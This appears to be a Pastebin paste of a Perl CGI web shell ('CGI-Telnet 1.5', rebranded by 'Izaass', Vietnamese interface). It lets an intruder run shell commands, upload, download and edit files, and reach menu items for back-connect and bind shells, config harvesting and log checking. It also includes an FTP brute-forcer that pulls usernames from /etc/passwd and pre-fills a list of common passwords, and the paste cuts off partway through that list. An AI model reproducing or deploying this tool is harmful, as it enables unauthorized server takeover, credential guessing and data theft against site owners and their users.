IzaassHelen

cgi2

Jul 21st, 2016
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 73.82 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.5";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Izaass</font>";
  5. $Password = "?";
  6. sub Is_Win(){
  7. $os = &trim($ENV{"SERVER_SOFTWARE"});
  8. if($os =~ m/win/i){
  9. return 1;
  10. }else{
  11. return 0;
  12. }
  13. }
  14. $WinNT = &Is_Win();
  15. $NTCmdSep = "&";
  16. $UnixCmdSep = ";";
  17. $CommandTimeoutDuration = 10;
  18. $ShowDynamicOutput = 1;
  19. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  20. $CmdPwd = ($WinNT ? "cd" : "pwd");
  21. $PathSep = ($WinNT ? "\\" : "/");
  22. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  23. $cols= 130;
  24. $rows= 26;
  25. sub ReadParse
  26. {
  27. local (*in) = @_ if @_;
  28. local ($i, $loc, $key, $val);
  29. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  30. if($ENV{'REQUEST_METHOD'} eq "GET")
  31. {
  32. $in = $ENV{'QUERY_STRING'};
  33. }
  34. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  35. {
  36. binmode(STDIN) if $MultipartFormData & $WinNT;
  37. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  38. }
  39. # handle file upload data
  40. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  41. {
  42. $Boundary = '--'.$1; # please refer to RFC1867
  43. @list = split(/$Boundary/, $in);
  44. $HeaderBody = $list[1];
  45. $HeaderBody =~ /\r\n\r\n|\n\n/;
  46. $Header = $`;
  47. $Body = $';
  48. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  49. $in{'filedata'} = $Body;
  50. $Header =~ /filename=\"(.+)\"/;
  51. $in{'f'} = $1;
  52. $in{'f'} =~ s/\"//g;
  53. $in{'f'} =~ s/\s//g;
  54.  
  55. # parse trailer
  56. for($i=2; $list[$i]; $i++)
  57. {
  58. $list[$i] =~ s/^.+name=$//;
  59. $list[$i] =~ /\"(\w+)\"/;
  60. $key = $1;
  61. $val = $';
  62. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  63. $val =~ s/%(..)/pack("c", hex($1))/ge;
  64. $in{$key} = $val;
  65. }
  66. }
  67. else # standard post data (url encoded, not multipart)
  68. {
  69. @in = split(/&/, $in);
  70. foreach $i (0 .. $#in)
  71. {
  72. $in[$i] =~ s/\+/ /g;
  73. ($key, $val) = split(/=/, $in[$i], 2);
  74. $key =~ s/%(..)/pack("c", hex($1))/ge;
  75. $val =~ s/%(..)/pack("c", hex($1))/ge;
  76. $in{$key} .= "\0" if (defined($in{$key}));
  77. $in{$key} .= $val;
  78. }
  79. }
  80. }
  81. #------------------------------------------------------------------------------
  82. # function EncodeDir: encode base64 Path
  83. #------------------------------------------------------------------------------
  84. sub EncodeDir
  85. {
  86. my $dir = shift;
  87. $dir = trim(encode_base64($dir));
  88. $dir =~ s/(\r|\n)//;
  89. return $dir;
  90. }sub PrintPageHeader
  91. {
  92. $EncodeCurrentDir = EncodeDir($CurrentDir);
  93. my $id = `id` if(!$WinNT);
  94. my $info = `uname -a`;
  95. print "Content-type: text/html\n\n";
  96. print <<END;
  97. <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>$ENV{'SERVER_NAME'} | IP : $ENV{'SERVER_ADDR'} </title>
  98. $HtmlMetaHeader
  99. </head><style>
  100. body{
  101. font: 10pt Verdana;
  102. color: #fff;
  103. }
  104. tr,td,table,input,textarea {
  105. BORDER-RIGHT: #3e3e3e 1px solid;
  106. BORDER-TOP: #3e3e3e 1px solid;
  107. BORDER-LEFT: #3e3e3e 1px solid;
  108. BORDER-BOTTOM: #3e3e3e 1px solid;
  109. }
  110. #domain tr:hover{
  111. background-color: #444;
  112. }
  113. td {
  114. color: #ffffff;
  115. }
  116. .listdir td{
  117. text-align: center;
  118. }
  119. .listdir th{
  120. color: 00FF00;
  121. }
  122. .dir,.file
  123. {
  124. text-align: left !important;
  125. }
  126. .dir{
  127. font-size: 10pt;
  128. font-weight: bold;
  129. }
  130. table {
  131. BACKGROUND-COLOR: #111;
  132. }
  133. input {
  134. BACKGROUND-COLOR: Black;
  135. color: 00FF00;
  136. }
  137. input.submit {
  138. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  139. color: #FFFFFF;
  140. border-color: #009900;
  141. }
  142. code {
  143. border: dashed 0px #333;
  144. color: while;
  145. }
  146. run {
  147. border : dashed 0px #333;
  148. color: #FF00AA;
  149. }
  150. textarea {
  151. BACKGROUND-COLOR: #1b1b1b;
  152. font: Fixedsys bold;
  153. color: 00FF00;
  154. }
  155. A:link {
  156. COLOR: #ffffff; TEXT-DECORATION: none
  157. }
  158. A:visited {
  159. COLOR: #ffffff; TEXT-DECORATION: none
  160. }
  161. A:hover {
  162. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  163. color: #FFFFFF; TEXT-DECORATION: none
  164. }
  165. A:active {
  166. color: Red; TEXT-DECORATION: none
  167. }
  168. .listdir tr:hover{
  169. background: #444;
  170. }
  171. .listdir tr:hover td{
  172. background: #444;
  173. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  174. color: #FFFFFF; TEXT-DECORATION: none;
  175. }
  176. .notline{
  177. background: #111;
  178. }
  179. .line{
  180. background: #222;
  181. }
  182. </style>
  183. <script language="javascript">
  184. function Encoder(name)
  185. {
  186. var e = document.getElementById(name);
  187. e.value = btoa(e.value);
  188. return true;
  189. }
  190. function chmod_form(i,file)
  191. {
  192. document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  193. document.getElementById("text_" + i).focus();
  194. }
  195. function rm_chmod_form(response,i,perms,file)
  196. {
  197. response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  198. }
  199. function rename_form(i,file,f)
  200. {
  201. f.replace(/\\\\/g,"\\\\\\\\");
  202. var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  203. document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + " name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  204. document.getElementById("text_" + i).focus();
  205. }
  206. function rm_rename_form(i,file,f)
  207. {
  208. if(f=='f')
  209. {
  210. document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  211. }else
  212. {
  213. document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  214. }
  215. }
  216. </script><body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"><center><code>
  217. <table border="1" width="100%" cellspacing="0" cellpadding="2"><tr><td align="center" rowspan=3><b><font size="3">$EditPersion</font></b></td><td>
  218. $info
  219. </td><td>Server IP:<font color="red"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="red">$ENV{'REMOTE_ADDR'}</font></td></tr><tr><td colspan="2">
  220. <a href="$ScriptLocation">Home</a> |
  221. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  222. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  223. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  224. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">T&#7843;i Xu&#7889;ng File</a> |
  225. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  226. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  227. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  228. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  229. <a href="$ScriptLocation?a=configizaass">All/Config.log</a> |
  230. <a href="$ScriptLocation?a=logout">&#272;&#259;ng Xu&#7845;t</a> |
  231. <a target='_blank' href="../error_log.php">Help</a></td></tr><tr><td colspan="2">
  232. $id
  233. </td></tr></table><font id="ResponseData" color="#FFFFFF" >
  234.  
  235. END
  236. }
  237. #------------------------------------------------------------------------------
  238. # Prints the Login Screen
  239. #------------------------------------------------------------------------------
  240. sub PrintLoginScreen
  241. {
  242. print <<END;
  243. <pre><script type="text/javascript">
  244. TypingText = function(element, interval, cursor, finishedCallback) {
  245. if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  246. this.running = true; // Never run.
  247. return;
  248. }
  249. this.element = element;
  250. this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  251. this.interval = (typeof interval == "undefined" ? 100 : interval);
  252. this.origText = this.element.innerHTML;
  253. this.unparsedOrigText = this.origText;
  254. this.cursor = (cursor ? cursor : "");
  255. this.currentText = "";
  256. this.currentChar = 0;
  257. this.element.typingText = this;
  258. if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  259. TypingText.all.push(this);
  260. this.running = false;
  261. this.inTag = false;
  262. this.tagBuffer = "";
  263. this.inHTMLEntity = false;
  264. this.HTMLEntityBuffer = "";
  265. }
  266. TypingText.all = new Array();
  267. TypingText.currentIndex = 0;
  268. TypingText.runAll = function() {
  269. for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  270. }
  271. TypingText.prototype.run = function() {
  272. if(this.running) return;
  273. if(typeof this.origText == "undefined") {
  274. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet. Have patience.
  275. return;
  276. }
  277. if(this.currentText == "") this.element.innerHTML = "";
  278. // this.origText = this.origText.replace(/<([^<])*>/, ""); // Strip HTML from text.
  279. if(this.currentChar < this.origText.length) {
  280. if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  281. this.tagBuffer = "<";
  282. this.inTag = true;
  283. this.currentChar++;
  284. this.run();
  285. return;
  286. } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  287. this.tagBuffer += ">";
  288. this.inTag = false;
  289. this.currentText += this.tagBuffer;
  290. this.currentChar++;
  291. this.run();
  292. return;
  293. } else if(this.inTag) {
  294. this.tagBuffer += this.origText.charAt(this.currentChar);
  295. this.currentChar++;
  296. this.run();
  297. return;
  298. } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  299. this.HTMLEntityBuffer = "&";
  300. this.inHTMLEntity = true;
  301. this.currentChar++;
  302. this.run();
  303. return;
  304. } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  305. this.HTMLEntityBuffer += ";";
  306. this.inHTMLEntity = false;
  307. this.currentText += this.HTMLEntityBuffer;
  308. this.currentChar++;
  309. this.run();
  310. return;
  311. } else if(this.inHTMLEntity) {
  312. this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  313. this.currentChar++;
  314. this.run();
  315. return;
  316. } else {
  317. this.currentText += this.origText.charAt(this.currentChar);
  318. }
  319. this.element.innerHTML = this.currentText;
  320. this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  321. this.currentChar++;
  322. setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  323. } else {
  324. this.currentText = "";
  325. this.currentChar = 0;
  326. this.running = false;
  327. this.finishedCallback();
  328. }
  329. }
  330. </script></pre><br><script type="text/javascript">
  331. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  332. TypingText.runAll();
  333. </script>
  334. END
  335. }
  336. #------------------------------------------------------------------------------
  337. # encode html special chars
  338. #------------------------------------------------------------------------------
  339. sub UrlEncode($){
  340. my $str = shift;
  341. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  342. return $str;
  343. }
  344. #------------------------------------------------------------------------------
  345. # Add html special chars
  346. #------------------------------------------------------------------------------
  347. sub HtmlSpecialChars($){
  348. my $text = shift;
  349. $text =~ s/&/&amp;/g;
  350. $text =~ s/"/&quot;/g;
  351. $text =~ s/'/&#039;/g;
  352. $text =~ s/</&lt;/g;
  353. $text =~ s/>/&gt;/g;
  354. return $text;
  355. }
  356. #------------------------------------------------------------------------------
  357. # Add link for directory
  358. #------------------------------------------------------------------------------
  359. sub AddLinkDir($)
  360. {
  361. my $ac=shift;
  362. my @dir=();
  363. if($WinNT)
  364. {
  365. @dir=split(/\\/,$CurrentDir);
  366. }else
  367. {
  368. @dir=split("/",&trim($CurrentDir));
  369. }
  370. my $path="";
  371. my $result="";
  372. foreach (@dir)
  373. {
  374. $path .= $_.$PathSep;
  375. $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  376. }
  377. return $result;
  378. }
  379. #------------------------------------------------------------------------------
  380. # Prints the message that informs the user of a failed login
  381. #------------------------------------------------------------------------------
  382. sub PrintLoginFailedMessage
  383. {
  384. print <<END;
  385. M&#7853;t Kh&#7849;u:<br>Login incorrect<br><br>
  386. END
  387. }
  388.  
  389. #------------------------------------------------------------------------------
  390. # Prints the HTML form for logging in
  391. #------------------------------------------------------------------------------
  392. sub PrintLoginForm
  393. {
  394. print <<END;
  395. <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="login">M&#7853;t Kh&#7849;u: Izaass<br>M&#7853;t Kh&#7849;u:<input type="password" name="p"><input class="submit" type="submit" value="Enter"></form>
  396. END
  397. }
  398. #------------------------------------------------------------------------------
  399. # Prints the footer for the HTML Page
  400. #------------------------------------------------------------------------------
  401. sub PrintPageFooter
  402. {
  403. print "<br><font color=red>=</font><font color=red>---&gt;* <font color=00FF00>Edited by ::[Izaass]:: </font> *&lt;---=</font></code></center></body></html>";
  404. }
  405. #------------------------------------------------------------------------------
  406. # Retreives the values of all cookies. The cookies can be accesses using the
  407. # variable $Cookies{''}
  408. #------------------------------------------------------------------------------
  409. sub GetCookies
  410. {
  411. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  412. foreach $cookie(@httpcookies)
  413. {
  414. ($id, $val) = split(/=/, $cookie);
  415. $Cookies{$id} = $val;
  416. }
  417. }
  418. #------------------------------------------------------------------------------
  419. # Prints the screen when the user logs out
  420. #------------------------------------------------------------------------------
  421. sub PrintLogoutScreen
  422. {
  423. print "Connection closed by foreign host.<br><br>";
  424. }sub PerformLogout
  425. {
  426. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  427. &PrintPageHeader("p");
  428. &PrintLogoutScreen;
  429.  
  430. &PrintLoginScreen;
  431. &PrintLoginForm;
  432. &PrintPageFooter;
  433. exit;
  434. }
  435. sub PerformLogin
  436. {
  437. if($LoginPassword eq $Password) # password matched
  438. {
  439. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  440. &PrintPageHeader;
  441. print &ListDir;
  442. }
  443. else # password didn't match
  444. {
  445. &PrintPageHeader("p");
  446. &PrintLoginScreen;
  447. if($LoginPassword ne "") # some password was entered
  448. {
  449. &PrintLoginFailedMessage;
  450.  
  451. }
  452. &PrintLoginForm;
  453. &PrintPageFooter;
  454. exit;
  455. }
  456. }
  457. #------------------------------------------------------------------------------
  458. # Prints the HTML form that allows the user to enter commands
  459. #------------------------------------------------------------------------------
  460. sub PrintCommandLineInputForm
  461. {
  462. $EncodeCurrentDir = EncodeDir($CurrentDir);
  463. my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  464. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  465. return <<END;
  466. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  467.  
  468. <input type="hidden" name="a" value="command">
  469.  
  470. <input type="hidden" name="d" value="$EncodeCurrentDir">
  471. $Prompt
  472. <input type="text" size="40" name="c" id="c">
  473. <input class="submit" type="submit" value="Enter">
  474. </form>
  475. END
  476. }
  477. #------------------------------------------------------------------------------
  478. # Prints the HTML form that allows the user to download files
  479. #------------------------------------------------------------------------------
  480. sub PrintFileDownloadForm
  481. {
  482. $EncodeCurrentDir = EncodeDir($CurrentDir);
  483. my $dir = &AddLinkDir("download");
  484. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  485. return <<END;
  486. <form name="f" method="POST" action="$ScriptLocation">
  487. <input type="hidden" name="d" value="$EncodeCurrentDir">
  488. <input type="hidden" name="a" value="download">
  489. $Prompt download<br><br>
  490. T&#234;n File: <input class="file" type="text" name="f" size="35"><br><br>
  491. T&#7843;i Xu&#7889;ng <input class="submit" type="submit" value="Enter">
  492.  
  493. </form>
  494. END
  495. }
  496.  
  497. #------------------------------------------------------------------------------
  498. # Prints the HTML form that allows the user to upload files
  499. #------------------------------------------------------------------------------
  500. sub PrintFileUploadForm
  501. {
  502. $EncodeCurrentDir = EncodeDir($CurrentDir);
  503. my $dir= &AddLinkDir("upload");
  504. $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  505. return <<END;
  506. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  507. $Prompt upload<br><br>
  508. T&#234;n File: <input class="file" type="file" name="f" size="35"><br><br>
  509. C&#224;i &#272;&#7863;t: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  510. <label for="up">&#272;&#232; L&#234;n N&#7871;u File Tr&#249;ng Nhau</label><br><br>
  511. T&#7843;i L&#234;n:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Enter">
  512. <input type="hidden" name="d" value="$EncodeCurrentDir">
  513. <input class="submit" type="hidden" name="a" value="upload">
  514. </form>
  515. END
  516. }
  517. sub CommandTimeout
  518. {
  519. if(!$WinNT)
  520. {
  521. alarm(0);
  522. return <<END;
  523. </textarea><br><font color=yellow>Command exceeded maximum time of $CommandTimeoutDuration second(s).</font><br><font size='6' color=red>Killed it!</font>
  524. END
  525. }
  526. }
  527. sub PrintDownloadLinkPage
  528. {
  529. local($FileUrl) = @_;
  530. my $result="";
  531. if(-e $FileUrl) # if the file exists
  532. {
  533. # encode the file link so we can send it to the browser
  534. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  535. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  536. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  537. &PrintPageHeader("c");
  538. $result .= <<END;
  539. Sending File $TransferFile...<br>
  540.  
  541. If the download does not start automatically,
  542. <a href="$DownloadLink">Click Here</a>
  543. END
  544. $result .= &PrintCommandLineInputForm;
  545. }
  546. else # file doesn't exist
  547. {
  548. $result .= "Failed to download $FileUrl: $!";
  549. $result .= &PrintFileDownloadForm;
  550. }
  551. return $result;
  552. }
  553. #------------------------------------------------------------------------------
  554. # This function reads the specified file from the disk and sends it to the
  555. # browser, so that it can be downloaded by the user.
  556. # Argument 1: Fully qualified pathname of the file to be sent.
  557. #------------------------------------------------------------------------------
  558. sub SendFileToBrowser
  559. {
  560. my $result = "";
  561. local($SendFile) = @_;
  562. if(open(SENDFILE, $SendFile)) # file opened for reading
  563. {
  564. if($WinNT)
  565. {
  566. binmode(SENDFILE);
  567. binmode(STDOUT);
  568. }
  569. $FileSize = (stat($SendFile))[7];
  570. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  571. print "Content-Type: application/x-unknown\n";
  572. print "Content-Length: $FileSize\n";
  573. print "Content-Disposition: attachment; filename=$1\n\n";
  574. print while(<SENDFILE>);
  575. close(SENDFILE);
  576. exit(1);
  577. }
  578. else # failed to open file
  579. {
  580. $result .= "Failed to download $SendFile: $!";
  581. $result .=&PrintFileDownloadForm;
  582. }
  583. return $result;
  584. }
  585. #------------------------------------------------------------------------------
  586. # This function is called when the user downloads a file. It displays a message
  587. # to the user and provides a link through which the file can be downloaded.
  588. # This function is also called when the user clicks on that link. In this case,
  589. # the file is read and sent to the browser.
  590. #------------------------------------------------------------------------------
  591. sub BeginDownload
  592. {
  593. $EncodeCurrentDir = EncodeDir($CurrentDir);
  594. # get fully qualified path of the file to be downloaded
  595. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  596. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  597. {
  598. $TargetFile = $TransferFile;
  599. }
  600. else # path is relative
  601. {
  602. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  603. $TargetFile .= $PathSep.$TransferFile;
  604. }
  605.  
  606. if($Options eq "go") # we have to send the file
  607. {
  608. &SendFileToBrowser($TargetFile);
  609. }
  610. else # we have to send only the link page
  611. {
  612. &PrintDownloadLinkPage($TargetFile);
  613. }
  614. }
  615.  
  616. #------------------------------------------------------------------------------
  617. # This function is called when the user wants to upload a file. If the
  618. # file is not specified, it displays a form allowing the user to specify a
  619. # file, otherwise it starts the upload process.
  620. #------------------------------------------------------------------------------
  621. sub UploadFile
  622. {
  623. # if no file is specified, print the upload form again
  624. if($TransferFile eq "")
  625. {
  626. return &PrintFileUploadForm;
  627.  
  628. }
  629. my $result="";
  630. # start the uploading process
  631. $result .= "T&#7843;i L&#234;n: $TransferFile T&#7899;i $CurrentDir ...<br>";
  632.  
  633. # get the fullly qualified pathname of the file to be created
  634. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  635. $TransferFile =~ m!([^/^\\]*)$!;
  636. $TargetName .= $PathSep.$1;
  637.  
  638. $TargetFileSize = length($in{'filedata'});
  639. # if the file exists and we are not supposed to overwrite it
  640. if(-e $TargetName && $Options ne "overwrite")
  641. {
  642. $result .= "TH&#7845;t B&#7841;i, T&#7879;p Tin N&#224;y &#272;&#227; T&#7891;n T&#7841;i.<br>";
  643. }
  644. else # file is not present
  645. {
  646. if(open(UPLOADFILE, ">$TargetName"))
  647. {
  648. binmode(UPLOADFILE) if $WinNT;
  649. print UPLOADFILE $in{'filedata'};
  650. close(UPLOADFILE);
  651. $result .= "k&#237;ch Th&#432;&#7899;c: $TargetFileSize Bytes.<br>";
  652. $result .= "&#272;&#432;&#7901;ng D&#7851;n File: $TargetName<br>";
  653. }
  654. else
  655. {
  656. $result .= "Th&#7845;t B&#7841;i: $!<br>";
  657. }
  658. }
  659. $result .= &PrintCommandLineInputForm;
  660. return $result;
  661. }
  662. #------------------------------------------------------------------------------
  663. # This function is called when the user wants to download a file. If the
  664. # filename is not specified, it displays a form allowing the user to specify a
  665. # file, otherwise it displays a message to the user and provides a link
  666. # through which the file can be downloaded.
  667. #------------------------------------------------------------------------------
  668. sub DownloadFile
  669. {
  670. # if no file is specified, print the download form again
  671. if($TransferFile eq "")
  672. {
  673. &PrintPageHeader("f");
  674. return &PrintFileDownloadForm;
  675. }
  676.  
  677. # get fully qualified path of the file to be downloaded
  678. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  679. {
  680. $TargetFile = $TransferFile;
  681. }
  682. else # path is relative
  683. {
  684. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  685. $TargetFile .= $PathSep.$TransferFile;
  686. }
  687.  
  688. if($Options eq "go") # we have to send the file
  689. {
  690. return &SendFileToBrowser($TargetFile);
  691. }
  692. else # we have to send only the link page
  693. {
  694. return &PrintDownloadLinkPage($TargetFile);
  695. }
  696. }
  697. #------------------------------------------------------------------------------
  698. # This function is called to execute commands. It displays the output of the
  699. # command and allows the user to enter another command. The change directory
  700. # command is handled differently. In this case, the new directory is stored in
  701. # an internal variable and is used each time a command has to be executed. The
  702. # output of the change directory command is not displayed to the users
  703. # therefore error messages cannot be displayed.
  704. #------------------------------------------------------------------------------
  705. sub ExecuteCommand
  706. {
  707. $CurrentDir = &TrimSlashes($CurrentDir);
  708. my $result="";
  709. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  710. {
  711. # we change the directory internally. The output of the
  712. # command is not displayed.
  713. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  714. chomp($CurrentDir = `$Command`);
  715. $result .= &PrintCommandLineInputForm;
  716.  
  717. $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  718. # xuat thong tin khi chuyen den 1 thu muc nao do!
  719. $RunCommand= $WinNT?"dir":"dir -lia";
  720. $result .= &RunCmd;
  721. }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  722. {
  723. $result .= &SaveFileForm;
  724. }else
  725. {
  726. $result .= &PrintCommandLineInputForm;
  727. $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  728. $result .=&RunCmd;
  729. }
  730. $result .= "</textarea>";
  731. return $result;
  732. }
  733. #------------------------------------------------------------------------
  734. # run command
  735. #------------------------------------------------------------------------
  736. sub RunCmd
  737. {
  738. my $result="";
  739. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  740. if(!$WinNT)
  741. {
  742. $SIG{'ALRM'} = \&CommandTimeout;
  743. alarm($CommandTimeoutDuration);
  744. }
  745. if($ShowDynamicOutput) # show output as it is generated
  746. {
  747. $|=1;
  748. $Command .= " |";
  749. open(CommandOutput, $Command);
  750. while(<CommandOutput>)
  751. {
  752. $_ =~ s/(\n|\r\n)$//;
  753. $result .= &HtmlSpecialChars("$_\n");
  754. }
  755. $|=0;
  756. }
  757. else # show output after command completes
  758. {
  759. $result .= &HtmlSpecialChars($Command);
  760. }
  761. if(!$WinNT)
  762. {
  763. alarm(0);
  764. }
  765. return $result;
  766. }
  767. #==============================================================================
  768. # Form Save File
  769. #==============================================================================
  770. sub SaveFileForm
  771. {
  772. my $result ="";
  773. $EncodeCurrentDir = EncodeDir($CurrentDir);
  774. substr($RunCommand,0,5)="";
  775. my $file=&trim($RunCommand);
  776. $save='<br><input name="a" type="submit" value="save" class="submit" >';
  777. $File=$CurrentDir.$PathSep.$RunCommand;
  778. my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  779. if(-w $File)
  780. {
  781. $rows="23"
  782. }else
  783. {
  784. $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  785. $rows="20"
  786. }
  787. $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  788. $RunCommand = "edit $RunCommand";
  789. $result .= <<END;
  790. <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="d" value="$EncodeCurrentDir">
  791. $Prompt
  792. <input type="text" size="40" name="c">
  793. <input name="s" class="submit" type="submit" value="Enter"><br>Command: <run> $RunCommand </run>
  794. <input type="hidden" name="file" value="$file" > $save <br> $msg<br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  795. END
  796.  
  797. $result .= &HtmlSpecialChars(&FileOpen($File,0));
  798. $result .= "</textarea>";
  799. $result .= "</form>";
  800. return $result;
  801. }
  802. #==============================================================================
  803. # File Open
  804. #==============================================================================
  805. sub FileOpen($){
  806. my $file = shift;
  807. my $binary = shift;
  808. my $result = "";
  809. my $n = "";
  810. if(-f $file){
  811. if(open(FILE,$file)){
  812. if($binary){
  813. binmode FILE;
  814. }
  815. while (($n = read FILE, $data, 1024) != 0) {
  816. $result .= $data;
  817. }
  818. close(FILE);
  819. }
  820. }else
  821. {
  822. return "Not's a File!";
  823. }
  824. return $result;
  825. }
  826. #==============================================================================
  827. # Save File
  828. #==============================================================================
  829. sub SaveFile($)
  830. {
  831. my $Data= shift ;
  832. my $File= shift;
  833. $File=$CurrentDir.$PathSep.$File;
  834. if(open(FILE, ">$File"))
  835. {
  836. binmode FILE;
  837. print FILE $Data;
  838. close FILE;
  839. return 1;
  840. }else
  841. {
  842. return 0;
  843. }
  844. }
  845. #------------------------------------------------------------------------------
  846. # Brute Forcer Form
  847. #------------------------------------------------------------------------------
  848. sub BruteForcerForm
  849. {
  850. my $result="";
  851. $result .= <<END;
  852. <table><tr>
  853. <td colspan="2" align="center">####################################<br>Simple FTP brute forcer<br>Note: Only scan from 1 to 3 user :-S<br>####################################
  854. <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="bruteforcer"/></td></tr><tr><td>User:<br><textarea rows="18" cols="30" name="user">
  855. END
  856. chop($result .= `less /etc/passwd | cut -d: -f1`);
  857. $result .= <<'END';
  858. </textarea></td><td>Pass:<br><textarea rows="18" cols="30" name="pass">123pass
  859. 123!@#
  860. 123admin
  861. 123abc
  862. 123456admin
  863. 1234554321
  864. 12344321
  865. pass123
  866. admin
  867. admincp
  868. administrator
  869. matkhau
  870. passadmin
  871. p@ssword
  872. p@ssw0rd
